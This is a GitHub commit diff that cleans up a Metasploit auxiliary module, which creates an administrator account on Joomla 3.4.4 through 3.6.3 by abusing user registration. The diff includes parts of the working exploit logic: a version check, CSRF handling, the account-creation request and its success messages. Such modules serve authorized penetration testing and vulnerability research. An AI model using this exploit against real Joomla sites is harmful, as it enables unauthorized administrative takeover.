Skip to content

Commit f414db5

Browse files
committed
Clean up module
1 parent 88a2a77 commit f414db5

File tree

1 file changed

+15
-19
lines changed

1 file changed

+15
-19
lines changed

modules/auxiliary/admin/http/joomla_registration_privesc.rb

Lines changed: 15 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ def initialize(info = {})
1111
super(update_info(info,
1212
'Name' => 'Joomla Account Creation and Privilege Escalation',
1313
'Description' => %q{
14-
This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4
14+
This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4
1515
through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).
1616
},
1717
'References' =>
@@ -37,14 +37,13 @@ def initialize(info = {})
3737
OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),
3838
OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),
3939
OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),
40-
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]']),
41-
OptString.new('FORCE', [true, 'Force bypass checks', 'false'])
40+
OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])
4241
]
4342
)
4443
end
4544

4645
def check
47-
res = send_request_cgi({'uri' => target_uri.path })
46+
res = send_request_cgi('uri' => target_uri.path)
4847

4948
unless res
5049
print_error("Connection timed out")
@@ -58,9 +57,9 @@ def check
5857
end
5958

6059
version = Gem::Version.new(joomla_version)
61-
unless version.nil?
60+
if version
6261
print_status("Detected Joomla version #{joomla_version}")
63-
return Exploit::CheckCode::Appears if version >= Gem::Version.new('3.4.4') && version <= Gem::Version.new('3.6.3')
62+
return Exploit::CheckCode::Appears if version.between?(Gem::Version.new('3.4.4'), Gem::Version.new('3.6.3'))
6463
end
6564

6665
return Exploit::CheckCode::Detected if online
@@ -78,11 +77,9 @@ def get_csrf(hidden_fields)
7877
end
7978

8079
def run
81-
if datastore['FORCE'] == 'false'
82-
if check == Exploit::CheckCode::Safe
83-
print_error('Target seems safe, so we will not continue!')
84-
return
85-
end
80+
if check == Exploit::CheckCode::Safe
81+
print_error('Target seems safe, so we will not continue!')
82+
return
8683
end
8784

8885
print_status("Trying to create the user!")
@@ -130,14 +127,13 @@ def run
130127
print_good("PWND - Your user has been created")
131128
print_status("\tUsername: " + datastore['USERNAME'])
132129
print_status("\tPassword: " + datastore['PASSWORD'])
133-
elsif res && res.code == 303
134-
while res && res.code == 303 do
135-
res = send_request_cgi(
136-
'uri' => res.redirection.to_s,
137-
'method' => 'GET',
138-
'cookie' => cookie
139-
)
140-
end
130+
print_status("\tEmail: " + datastore['EMAIL'])
131+
elsif res.redirect?
132+
res = send_request_cgi!(
133+
'uri' => res.redirection.path,
134+
'method' => 'GET',
135+
'cookie' => cookie
136+
)
141137

142138
print_error("There was an issue, but the user could have been created.")
143139

0 commit comments

Comments
 (0)